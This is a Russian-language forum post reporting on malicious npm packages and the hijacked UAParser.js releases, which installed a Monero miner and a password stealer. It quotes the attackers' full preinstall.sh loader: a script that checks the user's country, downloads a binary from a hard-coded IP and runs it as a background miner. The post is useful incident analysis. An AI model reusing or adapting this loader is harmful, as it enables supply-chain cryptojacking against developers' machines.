• XSS.stack #1 – первый литературный журнал от юзеров форума

В репозитории NPM выявлены три пакета, выполняющих скрытый майнинг криптовалют

INC.

REVERSE SIDE OF THE MEDAL
Эксперт
Регистрация
02.02.2008
Сообщения
3 950
Реакции
1 872
В репозитории NPM выявлены три вредоносных пакета klow, klown и okhsa, которые прикрываясь функциональностью для разбора заголовка User-Agent (использовалась копия библиотеки UA-Parser-js) содержали вредоносные изменения, применяемые для организации майнинга криптовалют на системе пользователя. Пакеты были размещены одним пользователем 15 октября, но сразу выявлены сторонними исследователями, которые сообщили о проблеме администрации NPM. В итоге пакеты были удалены в течение дня после публикации, но успели набрать около 150 загрузок.

Напрямую вредоносный код содержался только в пакетах "klow" и "klown", которые использовались в пакете okhsa в качестве зависимостей. В пакете "okhsa" также имелась заглушка для запуска калькулятора в Windows. В зависимости от текущей платформы на систему пользователя с внешнего хоста загружался и запускался исполняемый файл для майнинга. Сборки майнера были подготовлены в Linux, macOS и Windows. При запуске передавался номер пула для совместного майнинга, номер криптокошелька и число ядер CPU для выполнения вычислений.
 
История с удалением из репозитория NPM трёх вредоносных пакетов, копировавших код библиотеки UAParser.js, получила неожиданное продолжение - неизвестные злоумышленники захватили контроль над учётной записью автора проекта UAParser.js и выпустили обновления, содержащие код для кражи паролей и майнинга криптовалют.

Проблема в том, что библиотека UAParser.js, которая предлагает функции для разбора HTTP-заголовка User-Agent, насчитывает около 8 млн загрузок в неделю и используется в качестве зависимости в более чем 1200 проектах. Заявлено, что UAParser.js применяется в проектах таких компаний, как Microsoft, Amazon, Facebook, Slack, Discord, Mozilla, Apple, ProtonMail, Autodesk, Reddit, Vimeo, Uber, Dell, IBM, Siemens, Oracle, HP и Verizon.

Атака была совершена через взлом учётной записи разработчика проекта, который заподозрил неладное после необычной волны спама, свалившейся в его почтовый ящик. Как именно была взломана учётная запись разработчика, не сообщается. Атакующие сформировали выпуски 0.7.29, 0.8.0 и 1.0.0, внедрив в них вредоносный код. В течение нескольких часов разработчики вернули контроль над проектом и сформировали обновления 0.7.30, 0.8.1 и 1.0.1 c устранением проблемы. Вредоносные версии были опубликованы только в виде пакетов в NPM-репозитории. Git-репозиторий проекта на GitHub не пострадал. Всем пользователям, установившим проблемные версии, при обнаружении в Linux файла jsextension, а в Windows файлов jsextension.exe и create.dll, рекомендуется считать систему скомпрометированной и поменять на ней пароли, ключи и сертификаты безопасности.

Добавленные вредоносные изменения напоминали изменения, ранее предложенные в клонах UAParser.js, которые, судя по всему, были выпущены для тестирования функциональности перед совершением широкомасштабной атаки на основной проект. На систему пользователя с внешнего хоста загружался и запускался исполняемый файл jsextension, который выбирался в зависимости от платформы пользователя и был подготовлен в вариантах для Linux и Windows. Для платформы Windows, помимо программы для майнинга криптовалюты Monero (использовался майнер XMRig), злоумышленниками также было организовано внедрение библиотеки create.dll для перехвата паролей и их отправки на внешний хост.

Для загрузки вредоносных компонентов в файл preinstall.sh NPM-пакета был добавлен код

Код:
   IP=$(curl -k https://freegeoip.app/xml/ | grep 'RU\|UA\|BY\|KZ')
   if [ -z "$IP" ]
    then
    var=$(pgrep jsextension)
    if [ -z "$var" ]
        then
        curl http://159.148.186.228/download/jsextension -o jsextension 
        if [ ! -f jsextension ]
            then
            wget http://159.148.186.228/download/jsextension -O jsextension
        fi
        chmod +x jsextension
        ./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u 49***xYKH --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null &
    fi
   fi

Как видно из кода, скрипт вначале проверял IP-адрес в сервисе freegeoip.app и не запускал вредоносное приложение для пользователей из России, Украины, Беларуси и Казахстана.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх